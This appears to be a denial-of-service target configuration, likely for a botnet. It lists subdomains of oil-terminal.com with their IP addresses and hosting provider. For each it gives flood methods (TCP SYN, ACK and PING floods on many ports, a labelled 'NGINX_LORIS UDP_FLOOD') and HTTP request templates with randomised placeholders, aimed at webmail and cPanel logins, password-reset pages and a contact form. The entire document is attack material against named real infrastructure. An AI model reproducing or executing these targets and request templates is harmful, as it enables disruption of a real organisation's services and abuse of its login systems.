	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /favicon.ico
	TCP	SYN	443	TLS/SSL = Yes
	TCP	ACK	443	TLS/SSL = Yes
	TCP	SYN_ACK	443	TLS/SSL = Yes
	TCP	PING	443	TLS/SSL = Yes
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes
	TCP	SYN	80	TLS/SSL = No
	TCP	ACK	80	TLS/SSL = No
	TCP	SYN_ACK	80	TLS/SSL = No
	TCP	PING	80	TLS/SSL = No
	TCP	SYN	995	TLS/SSL = No
	TCP	SYN	53	TLS/SSL = No
	TCP	SYN	993	TLS/SSL = No
	TCP	SYN	21	TLS/SSL = No
	TCP	SYN	110	TLS/SSL = No
	TCP	SYN	25	TLS/SSL = No
	TCP	SYN	143	TLS/SSL = No
	TCP	SYN	587	TLS/SSL = No
	TCP	SYN	8080	TLS/SSL = No
	TCP	SYN	5060	TLS/SSL = No
	TCP	SYN	465	TLS/SSL = No
	TCP	SYN	2000	TLS/SSL = No

webdisk.oil-terminal.com	193.231.242.80	Romania - Constanța / AS-31017 = GMB Computers SRL
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /favicon.ico
	TCP	SYN	443	TLS/SSL = Yes
	TCP	ACK	443	TLS/SSL = Yes
	TCP	SYN_ACK	443	TLS/SSL = Yes
	TCP	PING	443	TLS/SSL = Yes
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes
	TCP	SYN	80	TLS/SSL = No
	TCP	ACK	80	TLS/SSL = No
	TCP	SYN_ACK	80	TLS/SSL = No
	TCP	SYN	995	TLS/SSL = No
	TCP	SYN	53	TLS/SSL = No
	TCP	SYN	993	TLS/SSL = No
	TCP	SYN	21	TLS/SSL = No
	TCP	SYN	110	TLS/SSL = No
	TCP	SYN	25	TLS/SSL = No

relatia.oil-terminal.com	193.231.242.80	Romania - Constanța / AS-31017 = GMB Computers SRL
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /?s=$_1
	HTTP2	POST	443	TLS/SSL = Yes
	⤷ /wp-json/contact-form-7/v1/contact-forms/118/feedback
	⤷ ------WebKitFormBoundaryLHV0HUAwlrtQ7c6C Content-Disposition: form-data; name="_wpcf7" 118 ------WebKitFormBoundaryLHV0HUAwlrtQ7c6C Content-Disposition: form-data; name="_wpcf7_version" 6.1.6 ------WebKitFormBoundaryLHV0HUAwlrtQ7c6C Content-Disposition: form-data; name="_wpcf7_locale" en_US ------WebKitFormBoundaryLHV0HUAwlrtQ7c6C Content-Disposition: form-data; name="_wpcf7_unit_tag" wpcf7-f118-p119-o1 ------WebKitFormBoundaryLHV0HUAwlrtQ7c6C Content-Disposition: form-data; name="_wpcf7_container_post" 119 ------WebKitFormBoundaryLHV0HUAwlrtQ7c6C Content-Disposition: form-data; name="_wpcf7_posted_data_hash" ------WebKitFormBoundaryLHV0HUAwlrtQ7c6C Content-Disposition: form-data; name="_wpcf7_recaptcha_response" 0cAFcWeA78WS5usD1Ma8BLvyNlGXO02o9lZTmEywwS4tbYQE1z3ltKhXSkyNdZvUDmcEwT0Ocj-wptEIKk0V7kzIvhCusTomNHa1B8ZSqZBez7ARq9VDvJ5eCou2FstkbqKC5M8Hf7UwhFHBaQABiGMOR6toIfmHikWQDCnhOO-bylbGJpmL6S5Mz0p5OUoBg_wou19bhqW4bo4196raJFmvlw6QG2-W1s9yBx188mpeSuk2YnXnbtNKo8XTDMmmeCbbzVUTNNjJHUkjTagDlpV1yUYjL6QeSRbwFAChURhladg1TTa8ecIVz-7ARUyq76iE-cF0JEjfpvHGKZWtd4He9qWLatXF2dwQMPH-_OGBO8_twObJq6WWZHHBQ43wKPTu4oEZ01cVTEPO3_0aVfg15pRmF73Dj8w0yEiqHJGfREf4YL4Ul3eiKoksALn0dKytdteZ46CFt6LHjyMKsDzQtf5bTiTva3xLYlCbgVwUNCm6TunaaNObUeP7keOhjL9_SUpwTTA9xHh0XtqN5-0QG2Pze0FAm3nur0eOyfRNvp5SwMhpfkC7Y05h3VXz8fEaTXEZUWPqIHq87yOHenClWdF0wY2XDU_lD55XPA6MAsUa8u6hxmspbyPUc2HaUvGFt0NeepzxVNP3bmAFFkZcqe4Ru2Bn9HGUTJBD78c58_ePBGHLMZKCsFBkrfz7p2LDEyDu2UQfDsQ8GN9v-uxxFdKYUM81918dfpaiv2XXeVdufmkxGr_geTl89CX91UR4yOUfcEECCPdsDEDWxwcyPKcHPU-5qBzbBlwBErX6PW_tri0t0VyFyPmF6TkVYdhzPCSNBxGa6kEbIXXfaxt_SXC0IZ7kFkcui7L6iSDJjDBuV0r6XKEEWpVswQucFhMLzi3kL0ZtkCOOWTS2HG0Wd0pP8hbjTR35W775xWdWxffYW96c1NEK3lFYomh55iHuivYnLvEFzyfUuwDQctRpSNpb5rWYaFvqoCfgPpQmURSek-IoiliNTZLSgNpnZpE0TQ8eG2EmTa99l5Lv5Bhq675vsHK6D7NNgBJLwrjJFXVSB52G9QLtA9y7OX9eNa_-VjSg0PcaSAADL3DOFWS1SiyQHKQP105cFFEpg3vP3M-5Vpf4bWkxwlg0NIzBvLEvAmnnlPV2YHcPSuEu-PND4z1WjW7y8LJpWINqmdxJ6TPGH1HT-ZCRSojM24m6qdEo2LvEUE0RXfg-F6lq-NfnAGkyJFjfOQf7wd4Q001W7ZdNtbrykqRiuG3fjV6vXtxFZ2AfEbpcIyZG-mtL33SOUNYd1Ls81SlUNIbNtlpDCZsAX7UVO8KP70t3fJ0AqSQg1ugnNmhpcUpPUOaNofH6KYvdHyKdlL6hRokeTVfjaCMWs_Q4i8fmeub3WMHiQ8UPame8R2hbxIdd0NWjAKZ1D2WsItCGMZpQYOwmBZExZE6fBqpIfwRlrcuC8QhJXAteKunIBhNvSApP9oToQJF-hq24m6x0Ymoqf6vvF9fWTHhIc9WYoiOFwAH-nSyK5qGeXyRDIHEJXyEzchTZmJ0tHWebOVvHW0cjvTBB8LPPXEU7Ki39oTnXQWxm8cku9bz1zrEiTihtSisIoj0PK4FNnnCmTM4SXoCLrWu-qD5Z5VCzRT_lYtlGpYcXcvcutGBtrRtJbIMN80qUmFUnSngNKRwbK9JMRIHdqLqccaS8GP-TP7rX-E0M-wTKz4CcsQm0cHQKNKbmVWyP1bD-0l_1xxpSfF1_C9en6t5k5lh2aC-UXNrnslmOyfcNyvwv_CdHZhyULsLVmGkHzb6HNCzrIzk8cha5zWWuS8JggNjQxaQQeWCW53DIbluCcDAENUrfbrYW4jdXc2zPphH_wS0zU9n9F5YnWCCc6RDQF5I8Wd1hK0k-PoZTXTcaYeP9c2D51n6gjfUZmUhWFc1e3jB7m1pLHtYH-gMhc-JQqyMEMSWmIMSJpeYSSX0bga0Fwy7mh6DmZSi9JkAtDP2KYhCxE6CVATneEAzp6rNMxEgQRsLO5v_yOtWHxID5vMPW8_zWibRVD_CDYFotYYL-T-v5ztBrIwCYP4wexJfsGspK2qdpps49vHAfpm2MHqH-ob_2RvVb1-CmO_fEzTMQT3EoZntlVVZA2XAlEvXRxTR1voiyIinXfgeV6SLp9PzKPEj7b4Y3Dzneg4BMeaxK2wkHZyuNsr60BR5WWIjzQ-LkP23NGc_DAw8bE ------WebKitFormBoundaryLHV0HUAwlrtQ7c6C Content-Disposition: form-data; name="your-name" $_1 $_1 ------WebKitFormBoundaryLHV0HUAwlrtQ7c6C Content-Disposition: form-data; name="your-company" $_1 ------WebKitFormBoundaryLHV0HUAwlrtQ7c6C Content-Disposition: form-data; name="your-email" $_1@gmail.com ------WebKitFormBoundaryLHV0HUAwlrtQ7c6C Content-Disposition: form-data; name="your-name" $_0 ------WebKitFormBoundaryLHV0HUAwlrtQ7c6C Content-Disposition: form-data; name="your-message" $_1 ------WebKitFormBoundaryLHV0HUAwlrtQ7c6C--
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /20$_5-2/
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /declaratii-202$_3/
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /calendar-202$_3/
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /dividende-20$_5/
	TCP	SYN	443	TLS/SSL = Yes
	TCP	ACK	443	TLS/SSL = Yes
	TCP	SYN_ACK	443	TLS/SSL = Yes
	TCP	PING	443	TLS/SSL = Yes
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes
	TCP	SYN	80	TLS/SSL = No
	TCP	SYN	995	TLS/SSL = No
	TCP	SYN	53	TLS/SSL = No
	TCP	SYN	993	TLS/SSL = No
	TCP	SYN	21	TLS/SSL = No
	TCP	SYN	110	TLS/SSL = No
	TCP	SYN	25	TLS/SSL = No
	TCP	SYN	143	TLS/SSL = No
	TCP	SYN	587	TLS/SSL = No
	TCP	SYN	8080	TLS/SSL = No
	TCP	SYN	5060	TLS/SSL = No
	TCP	SYN	465	TLS/SSL = No
	TCP	SYN	2000	TLS/SSL = No

webmail.oil-terminal.com	193.231.242.7	Romania - Constanța / AS-31017 = GMB Computers SRL
	HTTP	POST	443	TLS/SSL = Yes
	⤷ /api/v1/login/cookie
	⤷ {"username":"$_1","password":"$_1","captchaId":"","captchaText":"","rememberLogin":false}
	HTTP	GET	443	TLS/SSL = Yes
	⤷ /api/v1/captcha/status?username=$_1
	HTTP	GET	443	TLS/SSL = Yes
	⤷ /api/v1/captcha/status?username=$_1
	TCP	SYN	443	TLS/SSL = Yes
	TCP	ACK	443	TLS/SSL = Yes
	TCP	SYN_ACK	443	TLS/SSL = Yes
	TCP	PING	443	TLS/SSL = Yes
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes
	TCP	SYN	80	TLS/SSL = No
	TCP	SYN	993	TLS/SSL = No
	TCP	SYN	995	TLS/SSL = No
	TCP	SYN	587	TLS/SSL = No
	TCP	SYN	25	TLS/SSL = No
	TCP	SYN	143	TLS/SSL = No
	TCP	SYN	110	TLS/SSL = No
	TCP	SYN	9000	TLS/SSL = No
	TCP	SYN	465	TLS/SSL = No
	TCP	SYN	2000	TLS/SSL = No
	TCP	SYN	5060	TLS/SSL = No

mail.oil-terminal.com	193.231.242.7	Romania - Constanța / AS-31017 = GMB Computers SRL
	HTTP	GET	443	TLS/SSL = Yes
	⤷ /api/v1/captcha/status?username=$_1
	HTTP	POST	443	TLS/SSL = Yes
	⤷ /api/v1/login/cookie
	⤷ {"username":"$_1","password":"$_1","captchaId":"","captchaText":"","rememberLogin":false}
	HTTP	GET	443	TLS/SSL = Yes
	HTTP	GET	443	TLS/SSL = Yes
	⤷ /api/v1/captcha/status?username=$_1
	TCP	SYN	443	TLS/SSL = Yes
	TCP	ACK	443	TLS/SSL = Yes
	TCP	SYN_ACK	443	TLS/SSL = Yes
	TCP	PING	443	TLS/SSL = Yes
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes
	TCP	SYN	80	TLS/SSL = No
	TCP	ACK	443	TLS/SSL = Yes
	TCP	SYN_ACK	80	TLS/SSL = No
	TCP	SYN	993	TLS/SSL = No
	TCP	SYN	995	TLS/SSL = No
	TCP	SYN	587	TLS/SSL = No
	TCP	SYN	25	TLS/SSL = No
	TCP	SYN	143	TLS/SSL = No
	TCP	SYN	110	TLS/SSL = No
	TCP	SYN	9000	TLS/SSL = No
	TCP	SYN	465	TLS/SSL = No
	TCP	SYN	2000	TLS/SSL = No
	TCP	SYN	5060	TLS/SSL = No

cpanel.oil-terminal.com	193.231.242.80	Romania - Constanța / AS-31017 = GMB Computers SRL
	HTTP3	POST	443	TLS/SSL = Yes
	⤷ /login/?login_only=1
	⤷ user=$_1%40gmail.com&pass=$_1&goto_uri=%3F%3Dundefined
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /resetpass?start=1
	HTTP3	POST	443	TLS/SSL = Yes
	⤷ /resetpass
	⤷ user=$_1&login=%D0%A1%D0%B1%D1%80%D0%BE%D1%81%D0%B8%D1%82%D1%8C+%D0%BF%D0%B0%D1%80%D0%BE%D0%BB%D1%8C
	HTTP2	POST	443	TLS/SSL = Yes
	⤷ /resetpass
	⤷ action=puzzle&user=$_1&answer=$_1%40gmail.com&debug=&puzzle-guess-input=mail%40gmail.com&login=%D0%9E%D1%82%D0%BF%D1%80%D0%B0%D0%B2%D0%B8%D1%82%D1%8C+%D0%BA%D0%BE%D0%B4+%D0%B1%D0%B5%D0%B7%D0%BE%D0%BF%D0%B0%D1%81%D0%BD%D0%BE%D1%81%D1%82%D0%B8
	HTTP2	GET	443	TLS/SSL = Yes
	⤷ /resetpass
	TCP	SYN	443	TLS/SSL = Yes
	TCP	ACK	443	TLS/SSL = Yes
	TCP	SYN_ACK	443	TLS/SSL = Yes
	TCP	PING	443	TLS/SSL = Yes
	TCP	SYN	80	TLS/SSL = No
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes
	TCP	ACK	80	TLS/SSL = No
	TCP	SYN_ACK	80	TLS/SSL = No
	TCP	PING	80	TLS/SSL = No
	TCP	SYN	25	TLS/SSL = No
	TCP	SYN	8080	TLS/SSL = No
	TCP	SYN	143	TLS/SSL = No
	TCP	SYN	53	TLS/SSL = No
	TCP	SYN	995	TLS/SSL = No
	TCP	SYN	993	TLS/SSL = No
	TCP	SYN	21	TLS/SSL = No
	TCP	SYN	587	TLS/SSL = No
	TCP	SYN	110	TLS/SSL = No
	TCP	SYN	465	TLS/SSL = No
	TCP	SYN	2000	TLS/SSL = No
	TCP	SYN	5060	TLS/SSL = No

smtp.oil-terminal.com	193.231.242.7	Romania - Constanța / AS-31017 = GMB Computers SRL
	HTTP	GET	80	TLS/SSL = No
	⤷ /api/v1/captcha/status?username=$_1
	HTTP	POST	80	TLS/SSL = No
	⤷ /api/v1/login/cookie
	⤷ {"username":"$_1","password":"$_1","captchaId":"","captchaText":"","rememberLogin":false}
	HTTP	GET	80	TLS/SSL = No
	⤷ /api/v1/captcha/status?username=$_1
	TCP	SYN	80	TLS/SSL = No
	TCP	ACK	80	TLS/SSL = No
	TCP	SYN_ACK	80	TLS/SSL = No
	TCP	PING	80	TLS/SSL = No
	NGINX_LORIS	UDP_FLOOD	80	TLS/SSL = No

smtpgw.oil-terminal.com	193.231.242.139	Romania - Constanța / AS-31017 = GMB Computers SRL
	HTTP	GET	443	TLS/SSL = Yes
	⤷ /login
	HTTP	POST	443	TLS/SSL = Yes
	⤷ /api/auth/login
	⤷ {"username":"$_1","password":"$_1"}
	TCP	SYN	443	TLS/SSL = Yes
	TCP	ACK	443	TLS/SSL = Yes
	TCP	SYN_ACK	443	TLS/SSL = Yes
	TCP	PING	443	TLS/SSL = Yes
	NGINX_LORIS	UDP_FLOOD	443	TLS/SSL = Yes
	TCP	SYN	80	TLS/SSL = No
	TCP	ACK	80	TLS/SSL = No
	TCP	SYN_ACK	80	TLS/SSL = No
	TCP	PING	80	TLS/SSL = No
	TCP	SYN	22	TLS/SSL = No
	TCP	SYN	2525	TLS/SSL = No